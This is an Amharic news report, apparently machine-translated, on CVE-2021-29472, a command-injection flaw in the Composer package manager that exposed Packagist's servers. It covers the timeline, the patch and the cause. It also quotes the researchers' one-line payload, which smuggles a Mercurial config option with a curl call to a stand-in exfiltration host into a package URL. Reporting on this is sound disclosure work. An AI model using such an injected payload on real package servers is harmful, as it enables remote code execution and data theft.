የፓኬጅስት ፒኤችፒ ማከማቻን መደራደር የሚፈቅደው በአቀናባሪ ጥቅል አስተዳዳሪ ውስጥ ተጋላጭነት

የምንጭ ኮዱን ለማውረድ አድራሻ የሚገልጽ ልዩ ቅርጸት ያለው የዩአርኤል እሴት ያለው ፓኬጅ ሲሰራ በስርዓቱ ላይ የዘፈቀደ ትዕዛዞች እንዲፈፀሙ የሚያስችል ወሳኝ ተጋላጭነት (CVE-2021-29472) በአቀናባሪ ጥገኝነት አስተዳዳሪ ውስጥ ተለይቷል። ችግሩ የሚከሰተው Git፣ Subversion እና Mercurial የምንጭ መቆጣጠሪያ ስርዓቶችን ሲጠቀሙ ጥቅም ላይ በሚውሉ GitDriver፣ SvnDriver እና HgDriver ክፍሎች ውስጥ ነው። ተጋላጭነቱ በአቀናባሪ ልቀቶች 1.10.22 እና 2.0.13 ውስጥ ተፈትቷል።

በተለይ ጉዳዩ በዋናነት ለPHP ገንቢዎች 306 ፓኬጆችን የያዘው እና በወር ከ1.4 ቢሊዮን በላይ ማውረዶችን በያዘው የአቀናባሪው ነባሪ ጥቅል ማከማቻ ፓኬጅስት ላይ ተጽዕኖ እንዳሳደረ ተጠቁሟል። ሙከራው እንደሚያሳየው የችግሩ እውቀት ካለ አጥቂዎች የፓኬጅስት መሠረተ ልማትን ሊቆጣጠሩ እና የአስተዳዳሪዎችን ምስክርነት በመጥለፍ ወይም የጥቅል ማውረዶችን ወደ ሶስተኛ ወገን አገልጋይ በማዞር የጥቅል ልዩነቶችን በተንኮል አዘል ለውጦች በማደራጀት የኋላ በርን መተካት ይችላሉ ። በጥገኝነት የመጫን ሂደት ወቅት.

ለዋና ተጠቃሚዎች ያለው አደጋ የ composer.json ይዘት ብዙውን ጊዜ በተጠቃሚው የሚወሰን በመሆኑ እና የምንጭ ማገናኛዎች የሚተላለፉት አብዛኛውን ጊዜ እምነት የሚጣልባቸው የሶስተኛ ወገን ማከማቻዎችን ሲደርሱ ነው። ዋናው ጉዳት በPackagist.org ማከማቻ እና በግል ፓኬጅስት አገልግሎት ላይ ወድቋል፣ ይህም ከተጠቃሚዎች የተቀበለውን መረጃ በማስተላለፍ አቀናባሪ ተብሎ ይጠራል። አጥቂዎች ልዩ የተነደፈ ጥቅል በማስቀመጥ በPackagist አገልጋዮች ላይ ኮዳቸውን ሊፈጽሙ ይችላሉ።

የፓኬጅስት ቡድኑ ተጋላጭነቱን በ12 ሰአታት ውስጥ አስተካክሏል። ተመራማሪዎቹ ሚያዝያ 22 ላይ ለፓኬጅስት ገንቢዎች በግል አሳውቀዋል፣ እና ችግሩ በተመሳሳይ ቀን ተስተካክሏል። ተጋላጭነቱን የሚናገር የሙዚቃ አቀናባሪ ይፋዊ ዝማኔ ኤፕሪል 27 ላይ ታትሟል፣ ዝርዝሮችም በኤፕሪል 28 ተገለጡ። በPackagist አገልጋዮች ላይ የተደረገ የምዝግብ ማስታወሻዎች ኦዲት ከተጋላጭነት ጋር የተያያዘ ምንም አይነት አጠራጣሪ እንቅስቃሴ አላሳየም።

ችግሩ የተፈጠረው በዩአርኤል የማረጋገጫ ኮድ በ root composer.json ፋይል እና የምንጭ አውርድ አገናኞች ውስጥ ባለ ስህተት ነው። ስህተቱ ከኖቬምበር 2011 ጀምሮ በኮዱ ውስጥ አለ። ፓኬጅስት ኮድ መጫንን ለማደራጀት ልዩ ንጣፎችን ይጠቀማል ከተወሰነ ምንጭ ቁጥጥር ስርዓት ጋር ሳይታሰር ይህም "fromShellCommandline" በመደወል እና የትእዛዝ መስመር ነጋሪ እሴቶችን በማለፍ ይከናወናል. ለምሳሌ፣ ለgit፣ "git ls-remote -heads $URL" የሚለው ትዕዛዝ ተጠርቷል፣ ዩአርኤሉ የሚሰራበት "ProcessExecutor:: Escape($url)" ዘዴን በመጠቀም እንደ "$() ካሉ አደገኛ ግንባታዎች በማምለጥ ነው። ..)" ወይም "` ...."

የችግሩ አስኳል የProcessExecutor:: የማምለጫ ዘዴ ከ"-" ቅደም ተከተል አላመለጠም, ይህም ማንኛውም ተጨማሪ የጥሪ መለኪያ በዩአርኤል ውስጥ እንዲገለጽ አስችሏል. እንደዚህ አይነት ማምለጫ በ GitDriver.php፣ SvnDriver.php እና HgDriver.php ሾፌሮች ውስጥ ጠፍቷል። የ "git ls-remote" ትዕዛዝ ከመንገዱ በኋላ ተጨማሪ ክርክሮችን መግለጹን ባለመደገፉ የ GitDriver.php ጥቃት ተስተጓጉሏል. በHgDriver.php ላይ የተሰነዘረ ጥቃት የ"-config" መለኪያውን ወደ "hq" መገልገያ በማለፍ ሊሆን የቻለ ሲሆን ይህም የ"alias.identify" መቼት በማቀናበር የማንኛውንም ትዕዛዝ አፈጻጸም ለማደራጀት ያስችላል። ለምሳሌ፣ የ curl utilityን በማስኬድ ኮድን ለማውረድ እና ለማስፈጸም፡—config=alias.identify=!curl http://exfiltration-host.tld —ዳታ “$(ls-alh)” የሚለውን መግለጽ ይችላሉ።

ተመሳሳይ ዩአርኤል ያለው የሙከራ ጥቅል ለፓኬጅስት በመለጠፍ ተመራማሪዎቹ ከተለጠፉ በኋላ አገልጋያቸው የኤችቲቲፒ ጥያቄ እንደተቀበለ አረጋግጠዋል በAWS ውስጥ ካሉት የፓኬጅስት አገልጋዮች አሁን ባለው ማውጫ ውስጥ ያሉ የፋይሎች ዝርዝር የያዘ።

ምንጭ: opennet.ru

አስተያየት ያክሉ